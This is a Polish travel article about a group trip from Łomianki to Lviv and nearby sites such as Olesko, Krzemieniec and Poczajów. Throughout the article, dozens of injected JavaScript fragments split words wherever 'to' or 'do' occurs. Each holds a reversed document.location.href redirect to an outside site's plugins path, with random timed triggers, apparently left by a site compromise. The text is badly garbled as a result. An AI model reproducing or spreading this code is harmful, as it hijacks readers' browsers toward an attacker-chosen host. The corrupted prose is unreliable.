Tylko we Lwowi…

Łomiankowska nieformalna grupa turystyczna, kontynuując sentymentalne podróże, tym razem odwiedziła Lwów. Oczywiście toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo biuro turystyczne „Janter” i jego szef Janusz Gugała jako pilot, bo jeśli ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś się raz sprawdził, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po co zmieniać… A Lwów? Długo można by pisać, a i tak nawet części tego, co widzieliśmy bym nie opisał. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tego zaskakująco serdeczny stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunek Ukraińców toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do turystów z Polski. Mimo, że Polaków w liczącym 850 tys. mieszkańców Lwowie jest zaledwie około 20 tys., w zasadzie wszędzie można porozumieć się po polsku. Zresztą każdy język jest tu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolerowany oprócz… rosyjskiego. No cóż, histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toria. W hotelu, w sklepie, w restauracji, na targowisku wszędzie nas rozumiano. Muszę przyznać, że było toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trochę szokujące, ale bardzo miłe.

Po przekroczeniu granicy, niestety nie tylko Polski, ale i Unii Europejskiej, co wydatnie wpłynęło na wydłużenie odprawy celnej, widać sporą różnicę w zamożności społeczeństwa, szczególnie na prowincji. Zaniedbane toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domy, zabutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowania przemysłowe zniszczone przez czas i bezmyślną eksploatację. Chwilami można było odnieść wrażenie, że wehikuł czasu przeniósł nas w polskie lata 60. A drogi… Już po kilku godzinach jazdy obiecaliśmy sobie nie narzekać na naszych drogowców i mizerne efekty ich mozolnej pracy. To, że autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tokar wrócił cały i nic z niego nie odpadło, zadziwiło wszystkich i chyba nawet pana kierowcę, wykazującego przez całą wycieczkę niebywały kunszt na lwowskich uliczkach. Mijanki i manewry w odległości kilku centymetrów od innych pojazdów były na porządku dziennym.

Program mieliśmy bardzo napięty. Nasza przewodniczka pani Irena Asmołowa zasypywała nas gradem informacji nie tylko o tym, co właśnie widzimy, ale także o tym, czego nie zobaczymy z braku czasu. Gdyby tak spisać toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do nas piękną polszczyzną mówiła, wyszedłby całkiem obszerny przewodnik. Zwiedziliśmy nie tylko przepiękny Lwów, ale i toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dość odległe okolice. Zamek w Olesku, w którym urodził się przyszły król Polski Jan III Sobieski, jak i Krzemieniec – miejsce urodzenia Juliusza Słowackiego. Dworek, w którym wychował się nasz wielki poeta, jest teraz małym, ale urokliwym muzeum poświęconym jego pamięci. Nieopodal, na wysokim wzgórzu podziwialiśmy ruiny zniszczonego w XVII w. zamku i fantastyczny witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dok na całą okolicę. A witoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doczny z bardzo daleka zespół klasztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torny w Poczajowie, który jest dla prawosławnych tym, czym dla katoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tolików Jasna Góra, mógł przyprawić o zawrót głowy intensywnością barw i bogactwem złoceń.

Wieczorem, po zasłużonej i wyczekiwanej obiatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dokolacji (ciekawe, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wymyślił tę kretyńską nazwę) niespodzianka – występ słynnej Kapeli Wesoły Lwów kierowanej przez pana Zbigniewa Jarmiłko, aktywnego i niezwykle cenionego we Lwowie artystę i działacza polonijnego. Przepraszam, nie polonijnego, tylko polskiego… Pan Zbigniew podkreśla, my nie jesteśmy polonią, myśmy z Polski nigdy nie wyjechali. Prawie godzinny występ specjalnie dla naszej grupy i wspólne śpiewanie znanych lwowskich piosenek sprawiło, że poczuliśmy się przez chwilę lwowiakami. A na scenie w roli jednej z solistek oczywiście „nasza” pani Irena, która okazała się być osobą o bardzo wielu ztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dolnościach. Oprócz pracy zawotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowej (prowadzi wraz z mężem biuro tłumaczeń z języków obcych) i pracy w charakterze przewodniczki, śpiewa w kapeli i gra w amatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torskim Teatrze Polskim we Lwowie. Był też mały akcencik łomiankowski, córka drugiego solisty Kapeli pana Bogdana Hałasa wyszła za mąż za Polaka i mieszkają w Łomiankach.

Cóż, cztery dni toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stanowczo za mało, aby Lwów zwiedzić, ale wystarczyło, by się w nim zakochać.